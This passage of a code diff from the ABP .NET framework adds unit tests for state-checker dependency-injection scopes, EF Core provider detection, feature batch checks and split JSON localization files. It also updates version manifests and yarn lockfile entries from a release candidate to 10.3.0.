+ {
+ CreationTime = DateTime.Parse("2021-01-01", CultureInfo.InvariantCulture)
+ };
+ stateC.AddSimpleStateChecker(checker);
+
+ await SimpleStateCheckerManager.IsEnabledAsync(new[] { stateA, stateB, stateC });
+
+ observations.Count.ShouldBe(3);
+
+ // All states in the batch should see the same scoped service (shared DI scope)
+ observations[stateA].ScopeId.ShouldBe(observations[stateB].ScopeId);
+ observations[stateB].ScopeId.ShouldBe(observations[stateC].ScopeId);
+
+ // Each state should get its own transient instance (isolated cached provider)
+ observations[stateA].TransientId.ShouldNotBe(observations[stateB].TransientId);
+ observations[stateB].TransientId.ShouldNotBe(observations[stateC].TransientId);
+ }
+
+ [Fact]
+ public async Task Single_State_Calls_Should_Use_Separate_Scopes()
+ {
+ var observations = new ConcurrentDictionary();
+ var checker = new ScopeProbeStateChecker(observations);
+
+ var stateA = new MyStateEntity
+ {
+ CreationTime = DateTime.Parse("2021-01-01", CultureInfo.InvariantCulture)
+ };
+ stateA.AddSimpleStateChecker(checker);
+
+ var stateB = new MyStateEntity
+ {
+ CreationTime = DateTime.Parse("2021-01-01", CultureInfo.InvariantCulture)
+ };
+ stateB.AddSimpleStateChecker(checker);
+
+ await SimpleStateCheckerManager.IsEnabledAsync(stateA);
+ await SimpleStateCheckerManager.IsEnabledAsync(stateB);
+
+ observations.Count.ShouldBe(2);
+
+ // Single-state calls should each get their own scope
+ observations[stateA].ScopeId.ShouldNotBe(observations[stateB].ScopeId);
+ }
+
+ [Fact]
+ public async Task Nested_Single_State_Call_From_Batch_Checker_Should_Get_Own_Scope()
+ {
+ var observations = new ConcurrentDictionary();
+
+ // This state will be evaluated via a nested single-state call during batch evaluation
+ var nestedState = new MyStateEntity
+ {
+ CreationTime = DateTime.Parse("2021-01-01", CultureInfo.InvariantCulture)
+ };
+ nestedState.AddSimpleStateChecker(new ScopeProbeStateChecker(observations));
+
+ // This checker triggers a nested IsEnabledAsync(state) during batch evaluation
+ var nestedCallChecker = new NestedSingleCallChecker(
+ SimpleStateCheckerManager, nestedState, observations);
+
+ var batchState = new MyStateEntity
+ {
+ CreationTime = DateTime.Parse("2021-01-01", CultureInfo.InvariantCulture)
+ };
+ batchState.AddSimpleStateChecker(nestedCallChecker);
+
+ await SimpleStateCheckerManager.IsEnabledAsync(new[] { batchState });
+
+ observations.Count.ShouldBe(2);
+
+ // The nested single-state call should get its own scope, not the batch scope
+ observations[batchState].ScopeId.ShouldNotBe(observations[nestedState].ScopeId);
+ }
+
+ public record Observation(Guid ScopeId, Guid TransientId);
+
+ public class ScopeIdProbe
+ {
+ public Guid Id { get; } = Guid.NewGuid();
+ }
+
+ public class TransientIdProbe
+ {
+ public Guid Id { get; } = Guid.NewGuid();
+ }
+
+ public class ScopeProbeStateChecker : ISimpleStateChecker
+ {
+ private readonly ConcurrentDictionary _observations;
+
+ public ScopeProbeStateChecker(
+ ConcurrentDictionary observations)
+ {
+ _observations = observations;
+ }
+
+ public Task IsEnabledAsync(SimpleStateCheckerContext context)
+ {
+ var scopeProbe = context.ServiceProvider.GetRequiredService();
+ var transientProbe = context.ServiceProvider.GetRequiredService();
+ _observations[context.State] = new Observation(scopeProbe.Id, transientProbe.Id);
+ return Task.FromResult(true);
+ }
+ }
+
+ public class NestedSingleCallChecker : ISimpleStateChecker
+ {
+ private readonly ISimpleStateCheckerManager _manager;
+ private readonly MyStateEntity _nestedState;
+ private readonly ConcurrentDictionary _observations;
+
+ public NestedSingleCallChecker(
+ ISimpleStateCheckerManager manager,
+ MyStateEntity nestedState,
+ ConcurrentDictionary observations)
+ {
+ _manager = manager;
+ _nestedState = nestedState;
+ _observations = observations;
+ }
+
+ public async Task IsEnabledAsync(SimpleStateCheckerContext context)
+ {
+ var scopeProbe = context.ServiceProvider.GetRequiredService();
+ var transientProbe = context.ServiceProvider.GetRequiredService();
+ _observations[context.State] = new Observation(scopeProbe.Id, transientProbe.Id);
+
+ // Trigger a nested single-state call during batch evaluation
+ await _manager.IsEnabledAsync(_nestedState);
+
+ return true;
+ }
+ }
+}
diff --git a/framework/test/Volo.Abp.EntityFrameworkCore.Tests/Volo.Abp.EntityFrameworkCore.Tests.csproj b/framework/test/Volo.Abp.EntityFrameworkCore.Tests/Volo.Abp.EntityFrameworkCore.Tests.csproj
index acbe19a353..77b1448ded 100644
--- a/framework/test/Volo.Abp.EntityFrameworkCore.Tests/Volo.Abp.EntityFrameworkCore.Tests.csproj
+++ b/framework/test/Volo.Abp.EntityFrameworkCore.Tests/Volo.Abp.EntityFrameworkCore.Tests.csproj
@@ -17,6 +17,12 @@
+
+
+
+
+
+
diff --git a/framework/test/Volo.Abp.EntityFrameworkCore.Tests/Volo/Abp/EntityFrameworkCore/EfCoreDatabaseProviderHelper_Tests.cs b/framework/test/Volo.Abp.EntityFrameworkCore.Tests/Volo/Abp/EntityFrameworkCore/EfCoreDatabaseProviderHelper_Tests.cs
new file mode 100644
index 0000000000..f4faf5aacb
--- /dev/null
+++ b/framework/test/Volo.Abp.EntityFrameworkCore.Tests/Volo/Abp/EntityFrameworkCore/EfCoreDatabaseProviderHelper_Tests.cs
@@ -0,0 +1,111 @@
+using Microsoft.EntityFrameworkCore;
+using Shouldly;
+using Xunit;
+
+namespace Volo.Abp.EntityFrameworkCore;
+
+public class EfCoreDatabaseProviderHelper_Tests
+{
+ [Fact]
+ public void Should_Detect_SqlServer_From_Real_Assembly()
+ {
+ var builder = new DbContextOptionsBuilder();
+ Microsoft.EntityFrameworkCore.SqlServerDbContextOptionsExtensions.UseSqlServer(builder, "Server=localhost;Database=test");
+ using var context = new EmptyDbContext(builder.Options);
+ EfCoreDatabaseProviderHelper.GetDatabaseProviderOrNull(context.Database.ProviderName)
+ .ShouldBe(EfCoreDatabaseProvider.SqlServer);
+ }
+
+ [Fact]
+ public void Should_Detect_PostgreSql_From_Real_Assembly()
+ {
+ var builder = new DbContextOptionsBuilder();
+ Microsoft.EntityFrameworkCore.NpgsqlDbContextOptionsBuilderExtensions.UseNpgsql(builder, "Host=localhost;Database=test");
+ using var context = new EmptyDbContext(builder.Options);
+ EfCoreDatabaseProviderHelper.GetDatabaseProviderOrNull(context.Database.ProviderName)
+ .ShouldBe(EfCoreDatabaseProvider.PostgreSql);
+ }
+
+ [Fact]
+ public void Should_Detect_MySql_Pomelo_From_Assembly_Name()
+ {
+ var providerName = typeof(Microsoft.EntityFrameworkCore.MySqlDbContextOptionsBuilderExtensions).Assembly.GetName().Name;
+ EfCoreDatabaseProviderHelper.GetDatabaseProviderOrNull(providerName)
+ .ShouldBe(EfCoreDatabaseProvider.MySql);
+ }
+
+ [Fact]
+ public void Should_Detect_MySql_Oracle_From_Real_Assembly()
+ {
+ var builder = new DbContextOptionsBuilder();
+ Microsoft.EntityFrameworkCore.MySQLDbContextOptionsExtensions.UseMySQL(builder, "Server=localhost;Database=test");
+ using var context = new EmptyDbContext(builder.Options);
+ EfCoreDatabaseProviderHelper.GetDatabaseProviderOrNull(context.Database.ProviderName)
+ .ShouldBe(EfCoreDatabaseProvider.MySql);
+ }
+
+ [Fact]
+ public void Should_Detect_Oracle_From_Real_Assembly()
+ {
+ var builder = new DbContextOptionsBuilder();
+ Microsoft.EntityFrameworkCore.OracleDbContextOptionsExtensions.UseOracle(builder, "Data Source=localhost/XE");
+ using var context = new EmptyDbContext(builder.Options);
+ EfCoreDatabaseProviderHelper.GetDatabaseProviderOrNull(context.Database.ProviderName)
+ .ShouldBe(EfCoreDatabaseProvider.Oracle);
+ }
+
+ [Fact]
+ public void Should_Detect_Sqlite_From_Real_Assembly()
+ {
+ var builder = new DbContextOptionsBuilder();
+ Microsoft.EntityFrameworkCore.SqliteDbContextOptionsBuilderExtensions.UseSqlite(builder, "Data Source=:memory:");
+ using var context = new EmptyDbContext(builder.Options);
+ EfCoreDatabaseProviderHelper.GetDatabaseProviderOrNull(context.Database.ProviderName)
+ .ShouldBe(EfCoreDatabaseProvider.Sqlite);
+ }
+
+ [Fact]
+ public void Should_Detect_InMemory_From_Real_Assembly()
+ {
+ var builder = new DbContextOptionsBuilder();
+ Microsoft.EntityFrameworkCore.InMemoryDbContextOptionsExtensions.UseInMemoryDatabase(builder, "test");
+ using var context = new EmptyDbContext(builder.Options);
+ EfCoreDatabaseProviderHelper.GetDatabaseProviderOrNull(context.Database.ProviderName)
+ .ShouldBe(EfCoreDatabaseProvider.InMemory);
+ }
+
+ [Theory]
+ [InlineData("Devart.Data.Oracle.Entity.EFCore", EfCoreDatabaseProvider.Oracle)]
+ [InlineData("FirebirdSql.EntityFrameworkCore.Firebird", EfCoreDatabaseProvider.Firebird)]
+ [InlineData("Microsoft.EntityFrameworkCore.Cosmos", EfCoreDatabaseProvider.Cosmos)]
+ public void Should_Detect_Providers_Without_Package_Reference(string providerName, EfCoreDatabaseProvider expected)
+ {
+ EfCoreDatabaseProviderHelper.GetDatabaseProviderOrNull(providerName).ShouldBe(expected);
+ }
+
+ [Theory]
+ [InlineData("microsoft.entityframeworkcore.sqlserver", EfCoreDatabaseProvider.SqlServer)]
+ [InlineData("POMELO.ENTITYFRAMEWORKCORE.MYSQL", EfCoreDatabaseProvider.MySql)]
+ [InlineData("npgsql.entityframeworkcore.postgresql", EfCoreDatabaseProvider.PostgreSql)]
+ public void Should_Detect_Providers_Case_Insensitively(string providerName, EfCoreDatabaseProvider expected)
+ {
+ EfCoreDatabaseProviderHelper.GetDatabaseProviderOrNull(providerName).ShouldBe(expected);
+ }
+
+ [Theory]
+ [InlineData(null)]
+ [InlineData("")]
+ [InlineData(" ")]
+ [InlineData("Some.Unknown.Provider")]
+ public void Should_Return_Null_For_Unknown_Or_Empty(string? providerName)
+ {
+ EfCoreDatabaseProviderHelper.GetDatabaseProviderOrNull(providerName).ShouldBeNull();
+ }
+
+ private class EmptyDbContext : DbContext
+ {
+ public EmptyDbContext(DbContextOptions options) : base(options)
+ {
+ }
+ }
+}
diff --git a/framework/test/Volo.Abp.Features.Tests/Volo/Abp/Features/RequireFeaturesSimpleBatchStateChecker_Tests.cs b/framework/test/Volo.Abp.Features.Tests/Volo/Abp/Features/RequireFeaturesSimpleBatchStateChecker_Tests.cs
new file mode 100644
index 0000000000..2ea3f2916b
--- /dev/null
+++ b/framework/test/Volo.Abp.Features.Tests/Volo/Abp/Features/RequireFeaturesSimpleBatchStateChecker_Tests.cs
@@ -0,0 +1,106 @@
+using System;
+using System.Collections.Generic;
+using System.Threading.Tasks;
+using Shouldly;
+using Volo.Abp.MultiTenancy;
+using Volo.Abp.SimpleStateChecking;
+using Xunit;
+
+namespace Volo.Abp.Features;
+
+public class RequireFeaturesSimpleBatchStateChecker_Tests : FeatureTestBase
+{
+ private readonly ISimpleStateCheckerManager _simpleStateCheckerManager;
+ private readonly ICurrentTenant _currentTenant;
+
+ public RequireFeaturesSimpleBatchStateChecker_Tests()
+ {
+ _simpleStateCheckerManager = GetRequiredService>();
+ _currentTenant = GetRequiredService();
+ }
+
+ [Fact]
+ public void Switch_Current_Checker_Test()
+ {
+ var checker = RequireFeaturesSimpleBatchStateChecker.Current;
+ checker.ShouldNotBeNull();
+
+ RequireFeaturesSimpleBatchStateChecker checker2 = null;
+
+ using (RequireFeaturesSimpleBatchStateChecker.Use(new RequireFeaturesSimpleBatchStateChecker()))
+ {
+ checker2 = RequireFeaturesSimpleBatchStateChecker.Current;
+ checker2.ShouldNotBeNull();
+ checker2.ShouldNotBe(checker);
+ }
+
+ checker2.ShouldNotBeNull();
+ checker2.ShouldNotBe(checker);
+ }
+
+ [Fact]
+ public async Task RequireFeaturesSimpleBatchStateChecker_Test()
+ {
+ // Tenant1: BooleanTestFeature1=true, BooleanTestFeature2=true
+ // Tenant2: no boolean features set → false
+ using (_currentTenant.Change(TestFeatureStore.Tenant1Id))
+ {
+ var myStateEntities = new MyStateEntity[]
+ {
+ new MyStateEntity().RequireFeatures(requiresAll: true, batchCheck: true, "BooleanTestFeature1"),
+ new MyStateEntity().RequireFeatures(requiresAll: true, batchCheck: true, "BooleanTestFeature2"),
+ new MyStateEntity().RequireFeatures(requiresAll: true, batchCheck: true, "BooleanTestFeature1", "BooleanTestFeature2"),
+ new MyStateEntity().RequireFeatures(requiresAll: true, batchCheck: true, "BooleanTestFeature1", "BooleanTestFeature2"),
+ };
+
+ var result = await _simpleStateCheckerManager.IsEnabledAsync(myStateEntities);
+
+ result.Count.ShouldBe(myStateEntities.Length);
+
+ result[myStateEntities[0]].ShouldBeTrue();
+ result[myStateEntities[1]].ShouldBeTrue();
+ result[myStateEntities[2]].ShouldBeTrue();
+ result[myStateEntities[3]].ShouldBeTrue();
+ }
+
+ using (_currentTenant.Change(TestFeatureStore.Tenant2Id))
+ {
+ var myStateEntities = new MyStateEntity[]
+ {
+ new MyStateEntity().RequireFeatures(requiresAll: true, batchCheck: true, "BooleanTestFeature1"),
+ new MyStateEntity().RequireFeatures(requiresAll: true, batchCheck: true, "BooleanTestFeature2"),
+ new MyStateEntity().RequireFeatures(requiresAll: true, batchCheck: true, "BooleanTestFeature1", "BooleanTestFeature2"),
+ new MyStateEntity().RequireFeatures(requiresAll: false, batchCheck: true, "BooleanTestFeature1", "BooleanTestFeature2"),
+ };
+
+ var result = await _simpleStateCheckerManager.IsEnabledAsync(myStateEntities);
+
+ result.Count.ShouldBe(myStateEntities.Length);
+
+ result[myStateEntities[0]].ShouldBeFalse();
+ result[myStateEntities[1]].ShouldBeFalse();
+ result[myStateEntities[2]].ShouldBeFalse();
+ result[myStateEntities[3]].ShouldBeFalse();
+ }
+ }
+
+ class MyStateEntity : IHasSimpleStateCheckers
+ {
+ public List> StateCheckers { get; }
+
+ public MyStateEntity()
+ {
+ StateCheckers = new List>();
+ }
+ }
+
+ class MyStateEntity2 : IHasSimpleStateCheckers
+ {
+ public List> StateCheckers { get; }
+
+ public MyStateEntity2()
+ {
+ StateCheckers = new List>();
+ }
+ }
+}
diff --git a/framework/test/Volo.Abp.Localization.Tests/Volo/Abp/Localization/AbpLocalizationTestModule.cs b/framework/test/Volo.Abp.Localization.Tests/Volo/Abp/Localization/AbpLocalizationTestModule.cs
index 32835cb8f4..d4ef509fd5 100644
--- a/framework/test/Volo.Abp.Localization.Tests/Volo/Abp/Localization/AbpLocalizationTestModule.cs
+++ b/framework/test/Volo.Abp.Localization.Tests/Volo/Abp/Localization/AbpLocalizationTestModule.cs
@@ -29,6 +29,10 @@ public class AbpLocalizationTestModule : AbpModule
.Add("LocalizationTestCountryNames")
.AddVirtualJson("/Volo/Abp/Localization/TestResources/Base/CountryNames");
+ options.Resources
+ .Add("LocalizationTestFilesSplit")
+ .AddVirtualJson("/Volo/Abp/Localization/TestResources/FilesSplit");
+
options.Resources
.Add("en")
.AddVirtualJson("/Volo/Abp/Localization/TestResources/Source")
diff --git a/framework/test/Volo.Abp.Localization.Tests/Volo/Abp/Localization/AbpLocalization_Tests.cs b/framework/test/Volo.Abp.Localization.Tests/Volo/Abp/Localization/AbpLocalization_Tests.cs
index 189c1b8614..31bc5a8b4f 100644
--- a/framework/test/Volo.Abp.Localization.Tests/Volo/Abp/Localization/AbpLocalization_Tests.cs
+++ b/framework/test/Volo.Abp.Localization.Tests/Volo/Abp/Localization/AbpLocalization_Tests.cs
@@ -234,6 +234,35 @@ public class AbpLocalization_Tests : AbpIntegratedTest ls.Name == "Car" && ls.Value == "Auto");
+ allStrings.ShouldContain(ls => ls.Name == "FortyTwo" && ls.Value == "Zweiundvierzig");
+
+ // From de_Book.json
+ allStrings.ShouldContain(ls => ls.Name == "Biography" && ls.Value == "Biografie");
+ allStrings.ShouldContain(ls => ls.Name == "Enum:BookType.Undefined" && ls.Value == "Nicht definiert");
+ }
+ }
+
[Fact]
public void GetAllStrings_With_Parents()
{
diff --git a/framework/test/Volo.Abp.Localization.Tests/Volo/Abp/Localization/AbpStringLocalizerFactory_Tests.cs b/framework/test/Volo.Abp.Localization.Tests/Volo/Abp/Localization/AbpStringLocalizerFactory_Tests.cs
index dbc007ac02..32b1803c3d 100644
--- a/framework/test/Volo.Abp.Localization.Tests/Volo/Abp/Localization/AbpStringLocalizerFactory_Tests.cs
+++ b/framework/test/Volo.Abp.Localization.Tests/Volo/Abp/Localization/AbpStringLocalizerFactory_Tests.cs
@@ -1,4 +1,5 @@
-using System.Threading.Tasks;
+using System.Linq;
+using System.Threading.Tasks;
using Microsoft.Extensions.Localization;
using Shouldly;
using Volo.Abp.DynamicProxy;
@@ -90,4 +91,50 @@ public class AbpStringLocalizerFactory_Tests : AbpIntegratedTest ls.Name == "Base.Id" && ls.Value == "Id");
+ allStrings.ShouldContain(ls => ls.Name == "Base.Name" && ls.Value == "Name");
+ allStrings.ShouldContain(ls => ls.Name == "Book.Id" && ls.Value == "ISBN");
+ allStrings.ShouldContain(ls => ls.Name == "Book.Name" && ls.Value == "Title");
+ allStrings.ShouldContain(ls => ls.Name == "ThisIsRequiredValue" && ls.Value == "This is required value (this will be used)");
+ }
+ }
+
+ [Fact]
+ public void Should_Override_Value_From_Later_Split_File()
+ {
+ using (CultureHelper.Use("en"))
+ {
+ var localizer = _factory.CreateByResourceNameOrNull("LocalizationTestFilesSplit");
+ localizer.ShouldNotBeNull();
+
+ // !en_First.json defines "This is required value"
+ // zen_Last.json defines "This is required value (this will be used)"
+ // zen_Last.json sorts after !en_First.json (ordinal: '!' < 'z'), so its value wins
+ localizer["ThisIsRequiredValue"].Value.ShouldBe("This is required value (this will be used)");
+ }
+ }
+}
diff --git a/framework/test/Volo.Abp.Localization.Tests/Volo/Abp/Localization/JsonLocalizationDictionaryBuilder_Tests.cs b/framework/test/Volo.Abp.Localization.Tests/Volo/Abp/Localization/JsonLocalizationDictionaryBuilder_Tests.cs
new file mode 100644
index 0000000000..d71111136c
--- /dev/null
+++ b/framework/test/Volo.Abp.Localization.Tests/Volo/Abp/Localization/JsonLocalizationDictionaryBuilder_Tests.cs
@@ -0,0 +1,77 @@
+using Shouldly;
+using Volo.Abp.Localization.Json;
+using Xunit;
+
+namespace Volo.Abp.Localization;
+
+///
+/// Testing edge cases for
+///
+public class JsonLocalizationDictionaryBuilder_Tests
+{
+ [Fact]
+ public void Should_Use_Last_Value_When_Json_Contains_Duplicate_Keys()
+ {
+ // This test locks the behavior of System.Text.Json when deserializing duplicate JSON property names.
+ // If STJ changes this behavior in a future version, this test will catch the regression.
+ var input = """
+ {
+ "culture": "en",
+ "texts": {
+ "ThisFieldIsRequired": "This field is required",
+ "MaxLengthErrorMessage": "This field can be maximum of '{0}' chars",
+ "ThisFieldIsRequired": "This field is required again"
+ }
+ }
+ """;
+
+ var localizationDictionary = JsonLocalizationDictionaryBuilder.BuildFromJsonString(input);
+ localizationDictionary.ShouldNotBeNull();
+ var localizationString = localizationDictionary.GetOrNull("ThisFieldIsRequired");
+ localizationString.ShouldNotBeNull();
+ localizationString.Value.ShouldBe("This field is required again");
+ }
+
+ [Fact]
+ public void Should_Use_Nested_Value_When_Flat_Key_Is_Defined_Before_Nested_Object()
+ {
+ // When a flat key (e.g. "Foo__Bar") appears before a nested object (e.g. "Foo": {"Bar": ...}),
+ // the nested value wins because FlattenTexts processes keys in order and last-write wins.
+ var input = """
+ {
+ "culture": "en",
+ "texts": {
+ "DeepLocalizationKey__DeepKey": "FlatValue",
+ "DeepLocalizationKey": { "DeepKey": "NestedValue" }
+ }
+ }
+ """;
+
+ var localizationDictionary = JsonLocalizationDictionaryBuilder.BuildFromJsonString(input);
+ localizationDictionary.ShouldNotBeNull();
+ var localizationString = localizationDictionary.GetOrNull("DeepLocalizationKey__DeepKey");
+ localizationString.ShouldNotBeNull();
+ localizationString.Value.ShouldBe("NestedValue");
+ }
+
+ [Fact]
+ public void JsonLocalizationDictionaryBuilder_Should_Handle_Deep_Duplicates()
+ {
+ var input = """
+ {
+ "culture": "en",
+ "texts": {
+ "ThisFieldIsRequired": "This field is required",
+ "DeepLocalizationKey": { "DeepKey": "DeepValue" },
+ "DeepLocalizationKey__DeepKey": "Another translation"
+ }
+ }
+ """;
+
+ var localizationDictionary = JsonLocalizationDictionaryBuilder.BuildFromJsonString(input);
+ localizationDictionary.ShouldNotBeNull();
+ var localizationString = localizationDictionary.GetOrNull("DeepLocalizationKey__DeepKey");
+ localizationString.ShouldNotBeNull();
+ localizationString.Value.ShouldBe("Another translation");
+ }
+}
diff --git a/framework/test/Volo.Abp.Localization.Tests/Volo/Abp/Localization/TestResources/FilesSplit/!en_First.json b/framework/test/Volo.Abp.Localization.Tests/Volo/Abp/Localization/TestResources/FilesSplit/!en_First.json
new file mode 100644
index 0000000000..681c77b5d5
--- /dev/null
+++ b/framework/test/Volo.Abp.Localization.Tests/Volo/Abp/Localization/TestResources/FilesSplit/!en_First.json
@@ -0,0 +1,6 @@
+{
+ "culture": "en",
+ "texts": {
+ "ThisIsRequiredValue": "This is required value"
+ }
+}
diff --git a/framework/test/Volo.Abp.Localization.Tests/Volo/Abp/Localization/TestResources/FilesSplit/en_Base.json b/framework/test/Volo.Abp.Localization.Tests/Volo/Abp/Localization/TestResources/FilesSplit/en_Base.json
new file mode 100644
index 0000000000..1bcfead01b
--- /dev/null
+++ b/framework/test/Volo.Abp.Localization.Tests/Volo/Abp/Localization/TestResources/FilesSplit/en_Base.json
@@ -0,0 +1,7 @@
+{
+ "culture": "en",
+ "texts": {
+ "Base.Id": "Id",
+ "Base.Name": "Name"
+ }
+}
diff --git a/framework/test/Volo.Abp.Localization.Tests/Volo/Abp/Localization/TestResources/FilesSplit/en_Book.json b/framework/test/Volo.Abp.Localization.Tests/Volo/Abp/Localization/TestResources/FilesSplit/en_Book.json
new file mode 100644
index 0000000000..22d6039843
--- /dev/null
+++ b/framework/test/Volo.Abp.Localization.Tests/Volo/Abp/Localization/TestResources/FilesSplit/en_Book.json
@@ -0,0 +1,7 @@
+{
+ "culture": "en",
+ "texts": {
+ "Book.Id": "ISBN",
+ "Book.Name": "Title"
+ }
+}
diff --git a/framework/test/Volo.Abp.Localization.Tests/Volo/Abp/Localization/TestResources/FilesSplit/zen_Last.json b/framework/test/Volo.Abp.Localization.Tests/Volo/Abp/Localization/TestResources/FilesSplit/zen_Last.json
new file mode 100644
index 0000000000..a94dc23006
--- /dev/null
+++ b/framework/test/Volo.Abp.Localization.Tests/Volo/Abp/Localization/TestResources/FilesSplit/zen_Last.json
@@ -0,0 +1,6 @@
+{
+ "culture": "en",
+ "texts": {
+ "ThisIsRequiredValue": "This is required value (this will be used)"
+ }
+}
diff --git a/framework/test/Volo.Abp.Localization.Tests/Volo/Abp/Localization/TestResources/Source/de.json b/framework/test/Volo.Abp.Localization.Tests/Volo/Abp/Localization/TestResources/Source/de.json
index ee396f1341..4ef1655764 100644
--- a/framework/test/Volo.Abp.Localization.Tests/Volo/Abp/Localization/TestResources/Source/de.json
+++ b/framework/test/Volo.Abp.Localization.Tests/Volo/Abp/Localization/TestResources/Source/de.json
@@ -6,11 +6,6 @@
"CarPlural": "Autos",
"MaxLenghtErrorMessage": "Die Länge dieses Feldes kann maximal '{0}'-Zeichen betragen",
"Universe": "Universum",
- "FortyTwo": "Zweiundvierzig",
- "Enum:BookType.Undefined": "Nicht definiert",
- "Enum:BookType.0": "Undefiniert mit Wert 0",
- "BookType.Adventure": "Abenteuer",
- "BookType.1": "Abenteuer mit Wert 1",
- "Biography": "Biografie"
+ "FortyTwo": "Zweiundvierzig"
}
}
\ No newline at end of file
diff --git a/framework/test/Volo.Abp.Localization.Tests/Volo/Abp/Localization/TestResources/Source/de_Book.json b/framework/test/Volo.Abp.Localization.Tests/Volo/Abp/Localization/TestResources/Source/de_Book.json
new file mode 100644
index 0000000000..1847c4e4fb
--- /dev/null
+++ b/framework/test/Volo.Abp.Localization.Tests/Volo/Abp/Localization/TestResources/Source/de_Book.json
@@ -0,0 +1,10 @@
+{
+ "culture": "de",
+ "texts": {
+ "Enum:BookType.Undefined": "Nicht definiert",
+ "Enum:BookType.0": "Undefiniert mit Wert 0",
+ "BookType.Adventure": "Abenteuer",
+ "BookType.1": "Abenteuer mit Wert 1",
+ "Biography": "Biografie"
+ }
+}
\ No newline at end of file
diff --git a/latest-versions.json b/latest-versions.json
index 8873bc5e88..d9c48cf830 100644
--- a/latest-versions.json
+++ b/latest-versions.json
@@ -1,4 +1,22 @@
[
+ {
+ "version": "10.3.0",
+ "releaseDate": "",
+ "type": "stable",
+ "message": "",
+ "leptonx": {
+ "version": "5.3.0"
+ }
+ },
+ {
+ "version": "10.2.1",
+ "releaseDate": "",
+ "type": "stable",
+ "message": "",
+ "leptonx": {
+ "version": "5.2.1"
+ }
+ },
{
"version": "10.2.0",
"releaseDate": "",
diff --git a/modules/basic-theme/test/Volo.Abp.AspNetCore.Mvc.UI.Bootstrap.Demo/package.json b/modules/basic-theme/test/Volo.Abp.AspNetCore.Mvc.UI.Bootstrap.Demo/package.json
index 2f6d5c7c8c..b7ec085115 100644
--- a/modules/basic-theme/test/Volo.Abp.AspNetCore.Mvc.UI.Bootstrap.Demo/package.json
+++ b/modules/basic-theme/test/Volo.Abp.AspNetCore.Mvc.UI.Bootstrap.Demo/package.json
@@ -3,8 +3,8 @@
"name": "asp.net",
"private": true,
"dependencies": {
- "@abp/aspnetcore.mvc.ui.theme.shared": "~10.3.0-rc.1",
- "@abp/prismjs": "~10.3.0-rc.1",
- "@abp/highlight.js": "~10.3.0-rc.1"
+ "@abp/aspnetcore.mvc.ui.theme.shared": "~10.3.0",
+ "@abp/prismjs": "~10.3.0",
+ "@abp/highlight.js": "~10.3.0"
}
}
diff --git a/modules/basic-theme/test/Volo.Abp.AspNetCore.Mvc.UI.Bootstrap.Demo/yarn.lock b/modules/basic-theme/test/Volo.Abp.AspNetCore.Mvc.UI.Bootstrap.Demo/yarn.lock
index cd2c7379d1..010fc908dc 100644
--- a/modules/basic-theme/test/Volo.Abp.AspNetCore.Mvc.UI.Bootstrap.Demo/yarn.lock
+++ b/modules/basic-theme/test/Volo.Abp.AspNetCore.Mvc.UI.Bootstrap.Demo/yarn.lock
@@ -2,204 +2,204 @@
# yarn lockfile v1
-"@abp/aspnetcore.mvc.ui.theme.shared@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/aspnetcore.mvc.ui.theme.shared/-/aspnetcore.mvc.ui.theme.shared-10.3.0-rc.1.tgz#465bb75a8b974be7a7945099fd9055ee68e3c9fe"
- integrity sha512-89ca3oXYFEkaKbC1+mNsn6U4x0bls5iffcp1ZqaY5LTfHUhO5tJXbNf5kiOiEwT9TCYwPUHyLbUd2+rT72MGFA==
- dependencies:
- "@abp/aspnetcore.mvc.ui" "~10.3.0-rc.1"
- "@abp/bootstrap" "~10.3.0-rc.1"
- "@abp/bootstrap-datepicker" "~10.3.0-rc.1"
- "@abp/bootstrap-daterangepicker" "~10.3.0-rc.1"
- "@abp/datatables.net-bs5" "~10.3.0-rc.1"
- "@abp/font-awesome" "~10.3.0-rc.1"
- "@abp/jquery-validation-unobtrusive" "~10.3.0-rc.1"
- "@abp/lodash" "~10.3.0-rc.1"
- "@abp/luxon" "~10.3.0-rc.1"
- "@abp/malihu-custom-scrollbar-plugin" "~10.3.0-rc.1"
- "@abp/moment" "~10.3.0-rc.1"
- "@abp/select2" "~10.3.0-rc.1"
- "@abp/sweetalert2" "~10.3.0-rc.1"
- "@abp/timeago" "~10.3.0-rc.1"
-
-"@abp/aspnetcore.mvc.ui@~10.3.0-rc.1":
- version "10.3.0-rc.1"
- resolved "https://registry.yarnpkg.com/@abp/aspnetcore.mvc.ui/-/aspnetcore.mvc.ui-10.3.0-rc.1.tgz#c5764ec2fcab13ee591863c54e59e33fe1da90b4"
- integrity sha512-vmBsradTXcTEqHUXM5rTLYnsNNYJDeyyvz3kaLLqNwYhjo2FxL8D8IUZnp3Mk0qkBpYaYeGag5uxd06VDczDhg==
+"@abp/aspnetcore.mvc.ui.theme.shared@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/aspnetcore.mvc.ui.theme.shared/-/aspnetcore.mvc.ui.theme.shared-10.3.0.tgz#bcf72b5dd1dea285c3fa7cb1b6ce27c29b985ff7"
+ integrity sha512-X5xmMSxnIzNJPexvKR9y6jyn0v5n2wscN1SECG/bMI1YdKugMlkfkSuyUmLn+RX9/YdcK0jOsdMhfuzs5mgAOA==
+ dependencies:
+ "@abp/aspnetcore.mvc.ui" "~10.3.0"
+ "@abp/bootstrap" "~10.3.0"
+ "@abp/bootstrap-datepicker" "~10.3.0"
+ "@abp/bootstrap-daterangepicker" "~10.3.0"
+ "@abp/datatables.net-bs5" "~10.3.0"
+ "@abp/font-awesome" "~10.3.0"
+ "@abp/jquery-validation-unobtrusive" "~10.3.0"
+ "@abp/lodash" "~10.3.0"
+ "@abp/luxon" "~10.3.0"
+ "@abp/malihu-custom-scrollbar-plugin" "~10.3.0"
+ "@abp/moment" "~10.3.0"
+ "@abp/select2" "~10.3.0"
+ "@abp/sweetalert2" "~10.3.0"
+ "@abp/timeago" "~10.3.0"
+
+"@abp/aspnetcore.mvc.ui@~10.3.0":
+ version "10.3.0"
+ resolved "https://registry.yarnpkg.com/@abp/aspnetcore.mvc.ui/-/aspnetcore.mvc.ui-10.3.0.tgz#0d125efd172b6772c516eae82cfe35f144da73fc"
+ integrity sha512-kp0XdwrlNz+NeLdxSJ6xdUaB5PM7xdbiLsIyTUcwa7AUKBtcVU6yq6qttbk9VyO0KqDgLywSuEL+9PkFhthuPg==
dependencies:
ansi-colors "^4.1.3"
-"@abp/bootstrap-datepicker@~10.3.0-rc.1":
- version "10.3.0-rc.1"
